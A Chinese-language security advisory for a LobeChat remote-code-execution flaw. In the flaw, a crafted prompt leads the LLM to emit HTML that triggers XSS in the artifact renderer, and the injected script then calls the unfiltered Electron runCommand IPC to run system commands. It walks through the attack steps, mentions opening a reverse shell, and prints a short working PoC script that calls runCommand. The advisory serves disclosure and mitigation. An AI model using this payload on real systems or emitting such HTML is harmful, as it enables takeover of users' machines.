CVE-2026-42045 CVSS 6.2 中危

CVE-2026-42045 LobeChat远程代码执行漏洞

披露日期: 2026-05-12

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-42045

漏洞类型

远程代码执行

CVSS评分

6.2 中危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

需要交互 (UI:R)

影响产品

LobeChat

漏洞概述

LobeChat在2.1.48版本之前存在安全漏洞。由于渲染进程在处理自定义标签时未严格过滤，攻击者可诱导LLM输出恶意HTML标签导致XSS。此外，Electron主进程暴露的runCommand接口缺乏参数过滤，结合XSS漏洞，攻击者可利用该接口在用户系统上执行任意命令。

技术细节

该漏洞的核心在于LobeChat的渲染逻辑与IPC接口的不安全设计。首先，在src/features/Portal/Artifacts/Body/Renderer/index.tsx中，当系统无法匹配自定义标签类型时，会回退使用HTMLRenderer。攻击者可以通过精心设计的Prompt诱导LLM生成包含恶意JavaScript的HTML代码（如<img onerror=...>），从而触发跨站脚本攻击（XSS）。其次，LobeChat的Electron主进程通过IPC向渲染层暴露了runCommand方法，该方法直接执行系统命令且未对输入参数进行清洗。一旦XSS被触发，攻击者即可通过JavaScript获取window.parent.electronAPI句柄，并调用runCommand。由于Electron应用运行在用户桌面环境，这允许攻击者以当前用户的权限执行任意系统命令，完全控制受害主机。

攻击链分析

STEP 1

1. 恶意输入构造

攻击者通过LLM接口输入特殊的Prompt，诱导模型输出包含恶意JavaScript代码的HTML标签。

STEP 2

2. 触发XSS漏洞

LobeChat的渲染进程处理该HTML标签，由于类型匹配失败调用HTMLRenderer，导致恶意脚本在客户端执行。

STEP 3

3. 访问IPC接口

执行的JavaScript代码通过window.parent.electronAPI获取Electron主进程的通信句柄。

STEP 4

4. 执行系统命令

利用未过滤的runCommand接口，攻击者传入任意系统命令（如打开计算器或反弹Shell），实现远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- PoC for CVE-2026-42045: XSS to RCE via Electron IPC -->
<!-- Inject this payload via LLM output -->
<script>
    // Attempt to access the exposed Electron API
    if (window.parent && window.parent.electronAPI) {
        const ipc = window.parent.electronAPI;
        
        // Check if the vulnerable runCommand method exists
        if (ipc.runCommand) {
            // Execute arbitrary command (e.g., 'whoami' or 'calc.exe')
            ipc.runCommand('whoami > /tmp/pwned.txt');
            console.log("[+] Command executed successfully via IPC.");
        } else {
            console.log("[-] runCommand interface not found.");
        }
    } else {
        console.log("[-] electronAPI not accessible.");
    }
</script>

影响范围

LobeChat < 2.1.48

防御指南

临时缓解措施

建议用户立即停止使用受影响版本的LobeChat，直到升级完成。在无法升级的情况下，应限制网络访问或在不信任的环境中运行该应用，以防止通过LLM诱导输入恶意代码。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表